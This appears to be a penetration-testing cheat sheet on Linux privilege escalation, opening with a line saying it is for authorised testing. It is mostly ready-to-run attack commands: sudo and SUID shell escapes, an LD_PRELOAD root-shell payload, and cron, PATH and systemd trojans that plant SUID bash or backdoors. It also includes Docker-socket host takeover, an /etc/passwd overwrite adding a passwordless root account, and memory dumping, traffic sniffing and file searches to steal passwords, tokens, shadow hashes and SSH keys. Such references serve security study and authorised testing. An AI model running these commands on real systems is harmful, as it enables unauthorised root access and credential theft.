Overview
Linux privilege escalation involves finding and exploiting misconfigurations, vulnerable software, weak permissions, or kernel vulnerabilities to elevate from a low-privilege user to root. This page covers the most impactful techniques with practical commands.
This content is for authorized penetration testing and security research only. Always obtain written permission before testing any system.
System Enumeration
( cat /proc/version || uname -a ) 2 > /dev/null
cat /etc/os-release 2> /dev/null
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Environment Variables
Interesting information, passwords, or API keys may live in environment variables:
Sudo Version Check
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo versions before 1.9.17p1 allow unprivileged local users to escalate via sudo --chroot when /etc/nsswitch.conf is in a user-controlled directory (CVE-2025-32463). For versions below 1.8.28: sudo -u#-1 /bin/bash
SUDO and SUID Exploitation
Enumerating Sudo Permissions
sudo -l # List what you can run as sudo
find / -perm -4000 2> /dev/null # Find all SUID binaries
Common GTFOBins sudo escalations: sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
If sudo -l shows a NOPASSWD entry: User demo may run the following commands:
(root) NOPASSWD: /usr/bin/vim
Exploit it:
SETENV and PYTHONPATH Hijacking
If sudo allows SETENV: # Example from HTB Admirer
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV Preserved via sudo env_keep
If env_keep includes BASH_ENV: cat > /dev/shm/shell.sh << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV = /dev/shm/shell.sh sudo /usr/bin/systeminfo
If sudo -l shows env_keep+=PATH or a writable entry in secure_path: cat > ~/bin/free << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free → runs trojan
bash -p
If sudo preserves LD_PRELOAD: // shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init () {
unsetenv ( "LD_PRELOAD" );
setgid ( 0 ); setuid ( 0 );
system ( "/bin/sh" );
}
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so find
Cron Job Abuse
Enumerate Cron Jobs
crontab -l
ls -al /etc/cron * /etc/at *
cat /etc/cron * /etc/at * /etc/anacrontab /var/spool/cron/crontabs/root 2> /dev/null | grep -v "^#"
Cron PATH Hijacking
If a cron job runs a script without full path and the cron PATH includes a user-writable directory: echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
# Wait for cron to execute, then:
/tmp/bash -p
Wildcard Injection
When a cron job uses * in a command like rsync: # Creates a file whose name is a rsync argument
touch -- '-e sh myscript.sh'
Cron Script Overwrite
If you can modify a cron script: echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /path/to/cron/script.sh
# Wait for execution, then:
/tmp/bash -p
Monitor Frequent Cron Jobs
Use pspy or manual process monitoring to spot short-interval crons: # Manual monitoring
for i in $( seq 1 610 ); do ps -e --format cmd >> /tmp/monprocs.tmp ; sleep 0.1 ; done
sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"
rm /tmp/monprocs.tmp
Services and Systemd
If you can write to a .service file, add a backdoor: [Service]
ExecStart =/tmp/backdoor.sh
Systemd PATH Relative Binary Hijacking
Check the systemd PATH and look for relative command use in service files: systemctl show-environment
# Look for relative paths in ExecStart/ExecStop
Create an executable with the same name in a writable PATH directory.
Add a backdoor to .socket files: [Socket]
ExecStartPre =/home/user/backdoor.sh
Socket Activation — Missing Service File
If a socket references a non-existent service and you can write to /etc/systemd/system: cat > /etc/systemd/system/vuln.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p
Process Memory Credential Dumping
# Use GDB to dump FTP process memory
gdb -p < FTP_PROCESS_PI D >
( gdb ) info proc mappings
( gdb ) dump memory /tmp/mem_ftp < START_HEA D > < END_HEA D >
( gdb ) q
strings /tmp/mem_ftp | grep -i password
Memory Dump Script
#!/bin/bash
# dump-memory.sh <PID>
grep rw-p /proc/ $1 /maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop ; do \
gdb --batch --pid $1 -ex \
"dump memory $1 - $start - $stop .dump 0x $start 0x $stop " ; \
done
mimipenguin
The tool mimipenguin steals cleartext credentials from memory:
Feature Process Name GDM password (Kali/Debian Desktop) gdm-password Gnome Keyring (Ubuntu Desktop) gnome-keyring-daemon LightDM (Ubuntu Desktop) lightdm VSFTPd (Active FTP Connections) vsftpd Apache2 (HTTP Basic Auth Sessions) apache2 OpenSSH (Active SSH Sessions) sshd:
Network Enumeration
# Full network enumeration
cat /etc/hostname /etc/hosts /etc/resolv.conf
( ifconfig || ip a )
ip route
( netstat -punta || ss --ntpu )
ss -tulpn
# Outbound port check
for p in 22 25 53 80 443 587 8080 8443 ; do nc -vz -w3 example.org " $p " ; done
# Sniff traffic
sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|bearer|token'
Docker Socket Privilege Escalation
If /var/run/docker.sock is writable:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Using the Docker API directly with curl:
# List images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
# Create privileged container
curl -XPOST -H "Content-Type: application/json" \
--unix-socket /var/run/docker.sock \
-d '{"Image":"ubuntu","Cmd":["/bin/sh"],"OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' \
http://localhost/containers/create
D-Bus Privilege Escalation
D-Bus is an IPC system that can allow privilege escalation if misconfigured policies exist:
<!-- Example permissive policy in /etc/dbus-1/system.d/ -->
< policy user = "root" >
< allow own = "fi.w1.wpa_supplicant1" />
< allow send_destination = "fi.w1.wpa_supplicant1" />
</ policy >
SUID / SGID Binaries
SUID binaries run with the file owner’s permissions (typically root). Find and exploit them:
# Find SUID binaries
find / -perm -4000 2> /dev/null
find / -perm -4000 -type f -exec ls -la {} \; 2> /dev/null
# Find SGID binaries
find / -perm -2000 2> /dev/null
Check each result against GTFOBins for known escalation techniques. Common examples:
# bash SUID
bash -p
# find SUID
find . -exec /bin/sh -p \; -quit
# vim SUID
vim -c ':py import os; os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
# nmap SUID (older versions)
nmap --interactive
nmap > !sh
# cp SUID - overwrite /etc/passwd
echo "root2::0:0::/root:/bin/bash" | /usr/bin/cp /dev/stdin /etc/passwd
Linux Capabilities
Capabilities are fine-grained privileges. Find binaries with dangerous capabilities:
Dangerous capabilities to look for:
Capability Risk cap_setuid+epSet UID to 0 → root cap_net_raw+epSniff traffic, bypass firewalls cap_dac_override+epBypass file permission checks cap_sys_admin+epMount filesystems, kernel ops
Examples:
# Python with cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# tar with cap_dac_read_search — read /etc/shadow
tar -cvf shadow.tar /etc/shadow 2> /dev/null
tar -xvf shadow.tar
Kernel Exploits
Search for kernel exploits matching the target version:
uname -r # Get kernel version
cat /proc/version
searchsploit linux kernel < versio n >
linux-exploit-suggester.sh # Automated suggester
Notable kernel vulnerabilities:
CVE Name Affected CVE-2016-5195 DirtyCow Linux < 4.8.3 CVE-2021-4034 PwnKit (pkexec) polkit < 0.119 CVE-2022-0847 DirtyPipe Linux 5.8–5.16 CVE-2023-0386 OverlayFS Linux < 6.2
Writable PATH and Environment
# Check if any directory in PATH is writable
echo $PATH | tr ':' '\n' | while read d ; do
[ -w " $d " ] && echo "Writable: $d "
done
# Check if current dir '.' is in PATH (dangerous)
echo $PATH | grep -qE '(^|:)\.' && echo "Current dir in PATH!"
Credentials in Files
# Search for passwords in config files
grep -r "password" /etc/ * .conf /etc/ ** / * .conf 2> /dev/null
grep -rE "(password|passwd|pwd)\s*=" /var/www/ 2> /dev/null
# History files
cat ~/.bash_history ~/.zsh_history 2> /dev/null | grep -i pass
# SSH private keys
find / -name id_rsa -o -name id_ecdsa -o -name id_ed25519 2> /dev/null
# .sudo_as_admin_successful — user has used sudo before
ls /home/ * /.sudo_as_admin_successful 2> /dev/null
References